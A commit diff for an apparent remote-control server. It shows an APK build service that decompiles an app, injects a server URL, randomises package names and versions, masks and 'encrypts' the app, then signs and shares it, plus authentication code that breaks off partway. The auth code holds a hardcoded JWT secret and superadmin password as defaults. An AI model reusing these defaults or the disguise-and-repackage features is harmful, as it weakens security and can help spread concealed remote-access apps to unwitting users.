This commit is contained in:
wdvipa
2026-02-09 16:34:01 +08:00
commit 450367dea2
92 changed files with 36822 additions and 0 deletions

224
dist/services/APKBuildService.d.ts vendored Normal file
View File

@@ -0,0 +1,224 @@
/**
* APK构建服务
*/
export default class APKBuildService {
private logger;
private cloudflareService;
private isBuilding;
private buildProgress;
private buildStatus;
private buildLogs;
private readonly MAX_LOG_ENTRIES;
constructor();
/**
* 添加构建日志
*/
private addBuildLog;
/**
* 获取构建日志
*/
getBuildLogs(limit?: number): Array<{
timestamp: number;
level: 'info' | 'warn' | 'error' | 'success';
message: string;
timeString: string;
}>;
/**
* 清空构建日志
*/
clearBuildLogs(): void;
/**
* 检查是否有可用的APK
*/
checkExistingAPK(enableEncryption?: boolean, encryptionLevel?: string, customFileName?: string): Promise<{
exists: boolean;
path?: string;
filename?: string;
size?: number;
buildTime?: Date;
}>;
/**
* 构建APK使用apktool重新打包反编译目录
*/
buildAPK(serverUrl: string, options?: {
enableConfigMask?: boolean;
enableProgressBar?: boolean;
configMaskText?: string;
configMaskSubtitle?: string;
configMaskStatus?: string;
enableEncryption?: boolean;
encryptionLevel?: 'basic' | 'standard' | 'enhanced';
webUrl?: string;
pageStyleConfig?: {
appName?: string;
statusText?: string;
enableButtonText?: string;
usageInstructions?: string;
apkFileName?: string;
appIconFile?: {
buffer: Buffer;
originalname: string;
mimetype: string;
};
};
}): Promise<BuildResult>;
/**
* 内部构建方法
*/
private _buildAPKInternal;
/**
* 获取构建状态(增强版)
*/
getBuildStatus(): EnhancedBuildStatus;
/**
* 停止分享链接
*/
stopShare(sessionId: string): Promise<boolean>;
/**
* 获取活动分享链接
*/
getActiveShares(): Array<{
sessionId: string;
filename: string;
shareUrl: string;
createdAt: string;
expiresAt: string;
isExpired: boolean;
}>;
/**
* 获取APK文件信息用于下载
*/
getAPKForDownload(): Promise<{
success: boolean;
filePath?: string;
filename?: string;
size?: number;
error?: string;
}>;
/**
* 写入服务器配置到反编译目录
*/
private writeServerConfigToSourceApk;
/**
* 更新反编译目录中的应用图标
*/
private updateAppIconInSourceApk;
/**
* 更新反编译目录中的应用名称
*/
private updateAppNameInSourceApk;
/**
* 更新反编译目录中的页面样式配置
*/
private updatePageStyleConfigInSourceApk;
/**
* 使用apktool重新打包APK
*/
private rebuildAPKWithApktool;
/**
* 签名APK文件
*/
private signAPK;
/**
* 创建keystore文件
*/
private createKeystore;
/**
* 验证APK签名
*/
private verifyAPKSignature;
/**
* 反编译APK
*/
private decompileAPK;
/**
* 生成随机版本号
*/
private generateRandomVersion;
/**
* 修改APK版本号
*/
private changeVersion;
/**
* 生成随机包名
*/
private generateRandomPackageName;
/**
* 修改APK包名
*/
private changePackageName;
/**
* 复制目录(递归)
*/
private copyDirectory;
/**
* 删除目录(带重试机制,跨平台兼容)
*/
private deleteDirectoryWithRetry;
/**
* 清理空的目录
*/
private cleanupEmptyDirectories;
/**
* 更新所有smali文件中的包名引用包括smali和smali_classes*目录)
*/
private updateAllSmaliFiles;
/**
* 重命名所有smali目录结构包括smali和smali_classes*目录)
*/
private renameAllSmaliDirectories;
/**
* 重命名单个smali目录
*/
private renameSmaliDirectory;
/**
* 递归替换smali文件中的包名
*/
private replacePackageNameInSmaliFiles;
/**
* 在目录中递归替换包名用于XML等文件
*/
private replacePackageNameInDirectory;
/**
* 检查构建环境用于apktool打包
*/
checkBuildEnvironment(): Promise<{
hasJava: boolean;
javaVersion?: string;
errors: string[];
}>;
/**
* 销毁服务
*/
destroy(): void;
}
interface EnhancedBuildStatus extends BuildStatus {
activeShares?: Array<{
sessionId: string;
filename: string;
shareUrl: string;
createdAt: string;
expiresAt: string;
isExpired: boolean;
}>;
}
interface BuildResult {
success: boolean;
message: string;
filename?: string;
shareUrl?: string;
shareExpiresAt?: string;
sessionId?: string;
shareError?: string;
}
interface BuildStatus {
isBuilding: boolean;
progress: number;
message: string;
success: boolean;
shareUrl?: string;
shareSessionId?: string;
shareExpiresAt?: string;
}
export {};
//# sourceMappingURL=APKBuildService.d.ts.map

View File

@@ -0,0 +1 @@
{"version":3,"file":"APKBuildService.d.ts","sourceRoot":"","sources":["../../src/services/APKBuildService.ts"],"names":[],"mappings":"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"}

2024
dist/services/APKBuildService.js vendored Normal file

File diff suppressed because it is too large Load Diff

1
dist/services/APKBuildService.js.map vendored Normal file

File diff suppressed because one or more lines are too long

150
dist/services/AuthService.d.ts vendored Normal file
View File

@@ -0,0 +1,150 @@
/**
* 用户角色类型
*/
export type UserRole = 'admin' | 'superadmin';
/**
* 用户信息接口
*/
export interface User {
id: string;
username: string;
passwordHash: string;
role?: UserRole;
createdAt: Date;
lastLoginAt?: Date;
}
/**
* 登录结果接口
*/
export interface LoginResult {
success: boolean;
message?: string;
token?: string;
user?: {
id: string;
username: string;
role?: UserRole;
lastLoginAt?: Date;
};
}
/**
* Token验证结果接口
*/
export interface TokenVerifyResult {
valid: boolean;
user?: {
id: string;
username: string;
role?: UserRole;
};
error?: string;
}
/**
* 认证服务
*/
export declare class AuthService {
private logger;
private readonly JWT_SECRET;
private readonly JWT_EXPIRES_IN;
private readonly DEFAULT_USERNAME;
private readonly DEFAULT_PASSWORD;
private users;
private readonly INIT_LOCK_FILE;
private readonly USER_DATA_FILE;
private readonly SUPERADMIN_USERNAME;
private readonly SUPERADMIN_PASSWORD;
constructor();
/**
* 初始化认证服务(异步)
* 必须在创建 AuthService 实例后调用此方法
*/
initialize(): Promise<void>;
/**
* 初始化或恢复用户数据
*/
private initializeOrRestoreUsers;
/**
* 初始化默认管理员用户
*/
private initializeDefaultUser;
/**
* 初始化超级管理员账号
*/
private initializeSuperAdmin;
/**
* 保存用户数据到文件
*/
private saveUsersToFile;
/**
* 从文件加载用户数据
*/
private loadUsersFromFile;
/**
* 用户登录
*/
login(username: string, password: string): Promise<LoginResult>;
/**
* 验证JWT token
*/
verifyToken(token: string): TokenVerifyResult;
/**
* 获取用户信息
*/
getUserByUsername(username: string): User | undefined;
/**
* 创建新用户(用于扩展功能)
*/
createUser(username: string, password: string): Promise<boolean>;
/**
* 更改用户密码(用于扩展功能)
*/
changePassword(username: string, oldPassword: string, newPassword: string): Promise<boolean>;
/**
* 获取所有用户(用于管理功能)
*/
getAllUsers(): Array<{
id: string;
username: string;
role: UserRole;
createdAt: Date;
lastLoginAt?: Date;
}>;
/**
* 检查用户是否为超级管理员
*/
isSuperAdmin(username: string): boolean;
/**
* 获取超级管理员用户名
*/
getSuperAdminUsername(): string;
/**
* 检查系统是否已初始化(通过检查锁文件)
*/
isInitialized(): boolean;
/**
* 获取初始化锁文件路径
*/
getInitLockFilePath(): string;
/**
* 生成唯一标识符
*/
private generateUniqueId;
/**
* 获取初始化信息(如果已初始化)
*/
getInitializationInfo(): any;
/**
* 获取系统唯一标识符
*/
getSystemUniqueId(): string | null;
/**
* 初始化系统,设置管理员账号
*/
initializeSystem(username: string, password: string): Promise<{
success: boolean;
message: string;
uniqueId?: string;
}>;
}
export default AuthService;
//# sourceMappingURL=AuthService.d.ts.map

1
dist/services/AuthService.d.ts.map vendored Normal file
View File

@@ -0,0 +1 @@
{"version":3,"file":"AuthService.d.ts","sourceRoot":"","sources":["../../src/services/AuthService.ts"],"names":[],"mappings":"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"}

578
dist/services/AuthService.js vendored Normal file
View File

@@ -0,0 +1,578 @@
"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
exports.AuthService = void 0;
// 确保环境变量已加载(如果还没有加载)
const dotenv_1 = __importDefault(require("dotenv"));
const jsonwebtoken_1 = __importDefault(require("jsonwebtoken"));
const bcryptjs_1 = __importDefault(require("bcryptjs"));
const path_1 = __importDefault(require("path"));
// pkg 打包后,需要从可执行文件所在目录读取 .env 文件
// @ts-ignore - process.pkg 是 pkg 打包后添加的属性
const envPath = process.pkg
? path_1.default.join(path_1.default.dirname(process.execPath), '.env')
: path_1.default.join(process.cwd(), '.env');
dotenv_1.default.config({ path: envPath });
const fs_1 = __importDefault(require("fs"));
const crypto_1 = __importDefault(require("crypto"));
const Logger_1 = __importDefault(require("../utils/Logger"));
/**
* 认证服务
*/
class AuthService {
constructor() {
this.users = new Map();
this.logger = new Logger_1.default('AuthService');
// 确保环境变量已加载(双重保险)
// 注意:顶部的 dotenv.config() 已经加载了,这里不需要重复加载
// 从环境变量获取配置,如果没有则使用默认值
this.JWT_SECRET = process.env.JWT_SECRET || '838AE2CD136220F0758FFCD40A335E82';
this.JWT_EXPIRES_IN = process.env.JWT_EXPIRES_IN || '24h';
this.DEFAULT_USERNAME = process.env.DEFAULT_USERNAME || '';
this.DEFAULT_PASSWORD = process.env.DEFAULT_PASSWORD || '';
// 超级管理员账号配置(从环境变量获取,如果没有则使用默认值)
this.SUPERADMIN_USERNAME = process.env.SUPERADMIN_USERNAME || 'superadmin';
this.SUPERADMIN_PASSWORD = process.env.SUPERADMIN_PASSWORD || 'superadmin123456';
// 调试日志:显示加载的环境变量(不显示敏感信息)
const envLoaded = process.env.SUPERADMIN_USERNAME !== undefined;
this.logger.info(`环境变量加载状态:`);
this.logger.info(` - SUPERADMIN_USERNAME: ${this.SUPERADMIN_USERNAME} ${envLoaded ? '(从.env加载)' : '(使用默认值)'}`);
this.logger.info(` - SUPERADMIN_PASSWORD: ${process.env.SUPERADMIN_PASSWORD ? '已从.env加载' : '未设置(使用默认值)'}`);
this.logger.info(` - JWT_SECRET: ${process.env.JWT_SECRET ? '已从.env加载' : '未设置(使用默认值)'}`);
// 设置初始化锁文件路径pkg 打包后,从可执行文件所在目录)
// @ts-ignore - process.pkg 是 pkg 打包后添加的属性
const basePath = process.pkg
? path_1.default.dirname(process.execPath)
: process.cwd();
this.INIT_LOCK_FILE = path_1.default.join(basePath, '.system_initialized');
// 设置用户数据文件路径
this.USER_DATA_FILE = path_1.default.join(basePath, '.user_data.json');
this.logger.info(`认证服务配置完成,锁文件: ${this.INIT_LOCK_FILE},用户数据: ${this.USER_DATA_FILE}`);
// 注意:异步初始化在 initialize() 方法中执行
}
/**
* 初始化认证服务(异步)
* 必须在创建 AuthService 实例后调用此方法
*/
async initialize() {
try {
this.logger.info('开始初始化认证服务...');
// 先初始化或恢复用户数据
await this.initializeOrRestoreUsers();
// 然后初始化超级管理员
await this.initializeSuperAdmin();
this.logger.info('认证服务初始化完成');
}
catch (error) {
this.logger.error('认证服务初始化失败:', error);
// 即使初始化失败,也尝试创建超级管理员作为备用
try {
await this.initializeSuperAdmin();
}
catch (superAdminError) {
this.logger.error('创建超级管理员失败:', superAdminError);
}
}
}
/**
* 初始化或恢复用户数据
*/
async initializeOrRestoreUsers() {
try {
if (this.isInitialized()) {
// 系统已初始化,从文件恢复用户数据
await this.loadUsersFromFile();
this.logger.info('用户数据已从文件恢复');
}
else {
// 系统未初始化,创建默认用户
await this.initializeDefaultUser();
}
}
catch (error) {
this.logger.error('初始化或恢复用户数据失败:', error);
// 如果恢复失败,尝试创建默认用户作为备用
await this.initializeDefaultUser();
}
}
/**
* 初始化默认管理员用户
*/
async initializeDefaultUser() {
try {
const passwordHash = await bcryptjs_1.default.hash(this.DEFAULT_PASSWORD, 10);
const defaultUser = {
id: 'admin',
username: this.DEFAULT_USERNAME,
passwordHash,
role: 'admin',
createdAt: new Date()
};
this.users.set(this.DEFAULT_USERNAME, defaultUser);
this.logger.info(`默认用户已创建: ${this.DEFAULT_USERNAME}`);
}
catch (error) {
this.logger.error('初始化默认用户失败:', error);
}
}
/**
* 初始化超级管理员账号
*/
async initializeSuperAdmin() {
try {
// 如果超级管理员已存在,检查是否需要更新
if (this.users.has(this.SUPERADMIN_USERNAME)) {
const existingUser = this.users.get(this.SUPERADMIN_USERNAME);
let needsUpdate = false;
// 如果现有用户不是超级管理员,更新为超级管理员
if (existingUser.role !== 'superadmin') {
existingUser.role = 'superadmin';
needsUpdate = true;
this.logger.info(`用户 ${this.SUPERADMIN_USERNAME} 已更新为超级管理员`);
}
// 🆕 如果环境变量中设置了密码,始终用环境变量中的密码更新(确保.env配置生效
// 通过验证当前密码哈希与环境变量密码是否匹配来判断是否需要更新
if (this.SUPERADMIN_PASSWORD) {
const isCurrentPassword = await bcryptjs_1.default.compare(this.SUPERADMIN_PASSWORD, existingUser.passwordHash);
if (!isCurrentPassword) {
// 环境变量中的密码与当前密码不同,更新密码
existingUser.passwordHash = await bcryptjs_1.default.hash(this.SUPERADMIN_PASSWORD, 10);
needsUpdate = true;
this.logger.info(`超级管理员密码已更新(从.env文件加载新密码`);
}
else {
this.logger.debug(`超级管理员密码与.env配置一致无需更新`);
}
}
if (needsUpdate) {
this.users.set(this.SUPERADMIN_USERNAME, existingUser);
await this.saveUsersToFile();
}
return;
}
// 创建超级管理员账号
const passwordHash = await bcryptjs_1.default.hash(this.SUPERADMIN_PASSWORD, 10);
const superAdminUser = {
id: 'superadmin',
username: this.SUPERADMIN_USERNAME,
passwordHash,
role: 'superadmin',
createdAt: new Date()
};
this.users.set(this.SUPERADMIN_USERNAME, superAdminUser);
this.logger.info(`超级管理员账号已创建: ${this.SUPERADMIN_USERNAME}`);
// 保存用户数据到文件
try {
await this.saveUsersToFile();
}
catch (saveError) {
this.logger.error('保存超级管理员数据失败:', saveError);
}
}
catch (error) {
this.logger.error('初始化超级管理员失败:', error);
}
}
/**
* 保存用户数据到文件
*/
async saveUsersToFile() {
try {
const usersData = Array.from(this.users.values());
const data = {
version: '1.0.0',
savedAt: new Date().toISOString(),
users: usersData
};
fs_1.default.writeFileSync(this.USER_DATA_FILE, JSON.stringify(data, null, 2));
this.logger.debug('用户数据已保存到文件');
}
catch (error) {
this.logger.error('保存用户数据失败:', error);
throw error;
}
}
/**
* 从文件加载用户数据
*/
async loadUsersFromFile() {
try {
if (!fs_1.default.existsSync(this.USER_DATA_FILE)) {
this.logger.warn('用户数据文件不存在,将创建空用户列表');
return;
}
const fileContent = fs_1.default.readFileSync(this.USER_DATA_FILE, 'utf8');
const data = JSON.parse(fileContent);
this.users.clear();
if (data.users && Array.isArray(data.users)) {
for (const userData of data.users) {
// 恢复Date对象
const user = {
...userData,
role: userData.role || 'admin', // 兼容旧数据默认为admin
createdAt: new Date(userData.createdAt),
lastLoginAt: userData.lastLoginAt ? new Date(userData.lastLoginAt) : undefined
};
this.users.set(user.username, user);
}
this.logger.info(`已加载 ${data.users.length} 个用户`);
}
}
catch (error) {
this.logger.error('加载用户数据失败:', error);
throw error;
}
}
/**
* 用户登录
*/
async login(username, password) {
try {
this.logger.info(`用户登录尝试: ${username}`);
// 查找用户
const user = this.users.get(username);
if (!user) {
this.logger.warn(`用户不存在: ${username}`);
return {
success: false,
message: '用户名或密码错误'
};
}
// 验证密码
const isPasswordValid = await bcryptjs_1.default.compare(password, user.passwordHash);
if (!isPasswordValid) {
this.logger.warn(`密码错误: ${username}`);
return {
success: false,
message: '用户名或密码错误'
};
}
// 更新最后登录时间
user.lastLoginAt = new Date();
// 保存用户数据到文件(异步但不影响登录流程)
this.saveUsersToFile().catch(saveError => {
this.logger.error('保存用户数据失败:', saveError);
});
// 生成JWT token包含用户角色信息
const token = jsonwebtoken_1.default.sign({
userId: user.id,
username: user.username,
role: user.role || 'admin' // 包含用户角色
}, this.JWT_SECRET, {
expiresIn: this.JWT_EXPIRES_IN,
issuer: 'remote-control-server',
audience: 'remote-control-client'
});
this.logger.info(`用户登录成功: ${username}`);
return {
success: true,
message: '登录成功',
token,
user: {
id: user.id,
username: user.username,
role: user.role || 'admin',
lastLoginAt: user.lastLoginAt
}
};
}
catch (error) {
this.logger.error('登录过程发生错误:', error);
return {
success: false,
message: '登录失败,请稍后重试'
};
}
}
/**
* 验证JWT token
*/
verifyToken(token) {
try {
const decoded = jsonwebtoken_1.default.verify(token, this.JWT_SECRET, {
issuer: 'remote-control-server',
audience: 'remote-control-client'
});
const user = this.users.get(decoded.username);
if (!user) {
return {
valid: false,
error: '用户不存在'
};
}
return {
valid: true,
user: {
id: decoded.userId,
username: decoded.username,
role: user.role || 'admin' // 返回用户角色
}
};
}
catch (error) {
this.logger.warn('Token验证失败:', error.message);
if (error.name === 'TokenExpiredError') {
return {
valid: false,
error: 'Token已过期'
};
}
else if (error.name === 'JsonWebTokenError') {
return {
valid: false,
error: 'Token无效'
};
}
else {
return {
valid: false,
error: '验证失败'
};
}
}
}
/**
* 获取用户信息
*/
getUserByUsername(username) {
return this.users.get(username);
}
/**
* 创建新用户(用于扩展功能)
*/
async createUser(username, password) {
try {
if (this.users.has(username)) {
this.logger.warn(`用户已存在: ${username}`);
return false;
}
const passwordHash = await bcryptjs_1.default.hash(password, 10);
const user = {
id: `user_${Date.now()}`,
username,
passwordHash,
role: 'admin', // 新创建的用户默认为普通管理员
createdAt: new Date()
};
this.users.set(username, user);
// 保存用户数据到文件
try {
await this.saveUsersToFile();
}
catch (saveError) {
this.logger.error('保存用户数据失败:', saveError);
}
this.logger.info(`新用户已创建: ${username}`);
return true;
}
catch (error) {
this.logger.error('创建用户失败:', error);
return false;
}
}
/**
* 更改用户密码(用于扩展功能)
*/
async changePassword(username, oldPassword, newPassword) {
try {
const user = this.users.get(username);
if (!user) {
return false;
}
const isOldPasswordValid = await bcryptjs_1.default.compare(oldPassword, user.passwordHash);
if (!isOldPasswordValid) {
return false;
}
const newPasswordHash = await bcryptjs_1.default.hash(newPassword, 10);
user.passwordHash = newPasswordHash;
// 保存用户数据到文件
try {
await this.saveUsersToFile();
}
catch (saveError) {
this.logger.error('保存用户数据失败:', saveError);
}
this.logger.info(`用户密码已更改: ${username}`);
return true;
}
catch (error) {
this.logger.error('更改密码失败:', error);
return false;
}
}
/**
* 获取所有用户(用于管理功能)
*/
getAllUsers() {
return Array.from(this.users.values()).map(user => ({
id: user.id,
username: user.username,
role: user.role || 'admin',
createdAt: user.createdAt,
lastLoginAt: user.lastLoginAt
}));
}
/**
* 检查用户是否为超级管理员
*/
isSuperAdmin(username) {
const user = this.users.get(username);
return user?.role === 'superadmin';
}
/**
* 获取超级管理员用户名
*/
getSuperAdminUsername() {
return this.SUPERADMIN_USERNAME;
}
/**
* 检查系统是否已初始化(通过检查锁文件)
*/
isInitialized() {
try {
return fs_1.default.existsSync(this.INIT_LOCK_FILE);
}
catch (error) {
this.logger.error('检查初始化锁文件失败:', error);
return false;
}
}
/**
* 获取初始化锁文件路径
*/
getInitLockFilePath() {
return this.INIT_LOCK_FILE;
}
/**
* 生成唯一标识符
*/
generateUniqueId() {
// 生成32字节的随机字符串转换为64字符的十六进制字符串
return crypto_1.default.randomBytes(32).toString('hex');
}
/**
* 获取初始化信息(如果已初始化)
*/
getInitializationInfo() {
try {
